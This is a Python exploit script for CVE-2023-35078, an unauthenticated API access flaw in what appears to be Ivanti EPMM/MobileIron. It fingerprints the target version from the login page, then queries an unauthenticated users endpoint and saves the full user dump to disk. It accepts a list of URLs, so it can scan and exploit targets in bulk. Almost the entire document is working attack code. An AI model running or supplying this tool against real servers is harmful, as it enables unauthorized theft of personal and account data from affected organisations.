import requests
import argparse
import os
import sys

def disable_ssl_warnings():
    import urllib3
    urllib3.disable_warnings()

def clear_terminal():
    os.system('cls' if os.name == 'nt' else 'clear')

def argu_check():

    if len(sys.argv) > 1:
        pass
    else:
        print('\n%s Please use -h for help.' % (sys.argv[0]))
        exit(0)

def check_version_vulnerability(url, timeout):
    try:
        response = requests.get(url, verify=False, timeout=timeout)
        
        if response.status_code == 200:
            version_start = response.text.find("ui.login.css?")
            
            if version_start != -1:
                version_end = response.text.find('"', version_start)
                version = response.text[version_start + len("ui.login.css?"):version_end]
                print(f"[#] Target version: {version}")

                if version <= "11.4":
                    print(f"[+] Target is vulnerable! {url}")
                    return True
                else:
                    print(f"[-] Target is not vulnerable! {url}")
                    return False
            else:
                print(f"[-] Target is not vulnerable! {url}")
        else:
            print(f"[-] Target is not vulnerable! {url}")
    except Exception as e:
        print(f"[-] Error occurred: {str(e)}")

def exploit_vulnerability(url, timeout):
    vuln_url = url + "/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"
    print(f"[#] Exploiting the target... {url}")
    
    try:
        response = requests.get(vuln_url, timeout=timeout)

        if response.status_code == 200:
            print("[+] Extracting Data:")
            print(f"[#] Dumping all users from {vuln_url}")
            
            filename = url.split("//")[1].split("/")[0] + ".json"
            
            with open(filename, "w", encoding="utf-8") as f:
                f.write(response.text)
            
            print("[+] Data saved to file:", filename)
            print("[+] Vulnerability Exploited Successfully!\n")
        else:
            print("[-] Exploit failed. The target is not vulnerable.")
    except Exception as e:
        print(f"[-] Error occurred: {str(e)}")

def main():
    disable_ssl_warnings()
    clear_terminal()
    argu_check()

    print("""
    #########################################################
    #                                                       #
    #   Remote Unauthenticated API Access Vulnerability     #
    #             Severity: Critical                        #
    #                                                       #
    #########################################################
    
    [$] Description:
    
    The CVE-2023-35078 exploit relates to a Remote Unauthenticated API Access Vulnerability. 
    This vulnerability allows unauthorized access to sensitive data by exploiting an insecure API endpoint.
    https://www.tarlogic.com/blog/cve-2023-35078/
    """)

    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='URL to exploit')
    parser.add_argument('-f', '--file', help='File containing URLs')    
    parser.add_argument('-t', '--timeout', help='Maximum number of seconds to wait while requesting a web page (default: 10)', default=10, type=int)

    args = parser.parse_args()
    timeout = args.timeout

    if args.file:
        print("[#] Reading URLs from file...")
        
        with open(args.file, "r") as f:
            urls = f.readlines()
            
            for url in urls:
                try:
                    if url == "\n":
                        continue
                    url = url.strip()
                    print(f"[#] Target: {url}")
                    is_vulnerable = check_version_vulnerability(url, timeout)
                    
                    if is_vulnerable:
                        exploit_vulnerability(url, timeout)
                except Exception as e:
                    continue
    
    elif args.url:
        print(f"[#] Target: {args.url}")
        is_vulnerable = check_version_vulnerability(args.url, timeout)
        
        if is_vulnerable:
            exploit_vulnerability(args.url, timeout)

if __name__ == "__main__":
    main()
